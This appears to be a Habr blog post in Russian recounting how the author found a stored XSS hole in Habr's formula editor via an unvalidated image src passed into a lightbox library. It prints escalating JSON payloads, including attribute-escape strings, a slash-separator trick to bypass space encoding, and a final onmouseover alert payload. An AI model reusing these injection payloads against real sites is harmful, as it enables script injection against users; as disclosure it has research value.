Pull to refresh

Как я опять Хабр сломал

Reading time6 min
Views43K

Всегда хотел взломать Хабр. Мечта такая, но как-то руки не доходили. И вот, вдохновившись статьей о праведном взломе через iframe src , я, как и автор поста @Maxchagin, решил исследовать функционал Хабра на предмет уязвимостей.

Начать решил с нового редактора, рассуждая следующим образом: раз он новый, то и уязвимости там точно должны быть.

Формулы

Когда вы хотите добавить формулу на Хабр, то вам предлагают сделать всё через красивый интерфейс. Вы вбиваете LaTeX, Хабр рендерит формулу в картинку и вставляет её в текст.

Но если проанализировать запрос, то там просто передаётся json вида:

{
	"type": "formula",
	"attrs": {
		"source": "1+1",
		"src": "https://formula.jpg",
		"inserted":false,
		"width":131,
		"height":17
    }
}

Что превращается в картинку:

<img class="formula" source="1+1" alt="1+1" 
     src="https://formula.jpg" width="131" height="17">

Я решил попробовать вставить src="javascript:" - по привычке вбиваю это везде и смотрю, где что меняется.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Результат:

<img class="formula" source="Смотреть" 
     alt="Смотреть" src="javascript:" width="131" height="17">

Значение src не проверяется ни на что.

В этом есть ряд проблем:

  • Можно указать там ссылку на свой сервер и отдавать картинку, при этом собирая статистику. Поэтому разрешать на ресурсе внешние источники для картинок - уменьшение безопасности юзеров. Ну ладно, чо.

  • Можно через картинку делать любой GET запрос, и если кто-то из разработчиков перепутает "безопасные" (GET, HEAD) и "небезопасные" (POST, PUT, PATCH, ...) типы запросов, то может быть плохо

  • Любая ссылка может быть, ну, любой. И если для <a href="..."> это может быть проблемой (например, кто-то вставит <a href="javascript:alert('xss')"> и превратит ссылку в xss), то для картинок это в принципе безопасно, потому что браузеры не выполняют javascript код в картинке. <img src="javascript:alert('xss')"> можете вставлять на все свои сайты прямо сейчас, всё будет ок. Даже если вы сделаете <img src="evil.svg">, а внутри evil.svg будет скрипт, то он не выполнится. Браузеры умные. Но вот какая проблема: если не работает javascript: и всякие злые картинки, то можно попробовать "вырваться" из текущего контекста. И вот тут нефильтрованные данные очень помогают.

Как вырваться из контекста

Если html выглядит как

<img src="{url}">

то если передать

url = "> <script>alert('xss')</script> <img src="

то это всё развернётся в

<img src=""> <script>alert('xss')</script> <img src="">

что позволит вставить произвольный скрипт в код страницы.

Поэтому когда я вижу, что мой пользовательский ввод попадает куда-то на html-страницу, я сразу туда ставлю <, >, <sc<script>ript> и прочие прикольные конструкции.

И хотя я так делаю, идея эта достаточно тупая - по двум причинам:

  1. Шаблонизаторы по умолчанию безопасные, то есть если даже вы напишете this is {user_input}, то нормальный шаблонизатор (неважно какой - в django это django templates или jinja, например, но принцип везде один и тот же) заэкранирует спец символы и заменит всякие < на &lt;, а " на &quot;

  2. Есть всякие bleach итд, которые умеют "очищать" html код от всякой дичи. Тут две важные вещи: 1) работает очищение как правило на основе белых списков (т.е. списка того, что разрешено), так что любой не разрешённый тег/атрибут будет удалён; шанс, что разрабы разрешили какой-то опасные тег, стремится к нулю 2) публичные библиотеки тестируются кучей разрабов, и вероятность, что именно вы тот самый супергерой, который нашёл баг в годами оттестированной библиотеке, тоже стремится к нулю.

Тем не менее, я не теряю надежды и пробую:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Видите эту дополнительную " после javascript:? Я её заэкранировал, чтобы она была частью атрибута src. Если бы она работала, она позволила бы закрыть атрибут src и добавить свой html.

Но результат ожидаемый, я вас предупреждал - " превращается в &quot;:

<img class="formula" source="Смотреть" alt="Смотреть" 
     src="javascript:&quot;" width="131" height="17">

И кавычка становится частью текста:

Но тут есть один нюанс, и называется он "чужими руками". Я так называю подход, когда не вы напрямую вставляете плохие данные, а какой-то доверенный код это делает за вас.

Смотрите: разрабы никогда не доверяют пользовательскому вводу. У вас просто нет шансов. С другой стороны, разрабы доверяют своим библиотекам. И если вы заставите библиотеку вставить ваш код, то проверяться это не будет.

Чужими руками в данном случае у нас будет библиотека для т.н. lightbox - то есть отображения картиночек в полный экран с уютным затемнением. Потому что при нажатии на несуществующую картинку эта библиотека включает серый фон, берёт содержимое тега src и вставляет его в ссылку, типа "Вот эту картинку я не могу прогрузить: {src}". Этот кусок html целиком создаётся этой lightbox библиотекой прям на лету, там нет никаких валидаций от разработчиков Хабра. Поэтому моя строка javascript:" вставляется туда как есть, и я успешно закрываю атрибут href своей кавычкой:

Можно ли выбраться из тега <a>? Это же технический ресурс, конечно же да! Просто вставляем javascript:</a>Some text:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some text",
    "inserted":false,
    "width":131,
    "height":17
  }
}

Мы вырвались!

Что делать, когда вырвался

Экспериментировать!

  1. Во-первых, внимательный читатель заметил, что хотя Хабр вставляет формулу как картинку, но lightbox вставляет ссылку, и туда можно запихнуть просто javacript:alert('xss'), и при нажатии на ссылку будет выполняться скрипт, да?

Не совсем:

  • Заставлять пользователя ещё раз кликать, причём по надписи "эта картинка не может быть загружена", будет как-то странно

  • Даже если ссылка и ведёт на javascript:, скрипт всё равно не выполнится, т.к. стоит атрибут target="_blank"

  1. Во-вторых, мы могли бы вставить классический <script>alert('xss')</script>, да?
    Нет, потому что этот кусок html создаётся динамически, и скрипт автоматически выполняться не будет.

  2. Тогда пробуем что-нибудь более извращённое, например, вставить <div onmouseover=alert('xss')>xss</div>. По идее, если юзер проведёт мышкой над этой надписью, то сработает скрипт.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some text
            <div onmouseover=alert('xss')>xss</div><!--",
        "inserted":false,
        "width":131,
        "height":17
    }
}

Кстати, в конце я добавил <!--, чтобы весь последующий html закомментировался и не показывалось сообщение "Эта картинка не может быть загружена". Это похоже на sql injection, где используют --, чтобы закомментировать оригинальный sql запрос.

Облом! Оказывается, там есть "poor man's escaping" - пробелы превращаются в %20. А мне они нужны для задания атрибута onmouseover.

Я уже думал, что тут наши полномочия как бы всё, но я решил погуглить какой-нибудь нечитаемый RFC, чтобы узнать, какие разделители атрибутов существуют.

Никогда не догадаетесь.

Спасибо тебе, чувак! Короче, можно написать <div/onmouseover=alert('xss')>. Да, / - это разделитель. Потому что могут.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some&nbsp;text
            <div/onmouseover=alert('xss')>xss</div><!--",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Ну вот, теперь жить можно. Осталось оформить это для пользователей, ui/ux, вот это всё. Я расширил <div> на весь экран (css, гори в аду!), добавил кота на фоновую картинку (сыграло на руку то, что внутри style=... можно не писать пробелы), текст поправил, и вышло вот что:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>
            <div/onmouseover=alert('xss')>
                <div/style=\"position:fixed;bottom:0;width:100%;height:100vh;background-image:url('https://kot-i-koshka.ru/wp-content/uploads/2017/11/zloj_kot_agressivnyj_prichiny_1510142737_5a02f3116e9cb.jpg');background-position:center;background-repeat:no-repeat;background-size:cover;\">&nbsp;</div>
            </div><!--<a",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Выводы

А нет никаких выводов. Вы сами всё знаете. Я зол, как кот на картинке, и чувство вины гложет меня изнутри. Стараюсь вот развлекаться. Жаль, что взломы сайтиков ни на что не влияют.

Оставайтесь людьми и делайте всё, что в ваших силах, даже если вам кажется это незначительным.


Подписывайтесь на мой канал "Блог погромиста", там скоро будет новый онлайн-квест.

Tags:
Hubs:
Total votes 152: ↑150 and ↓2+196
Comments19

Articles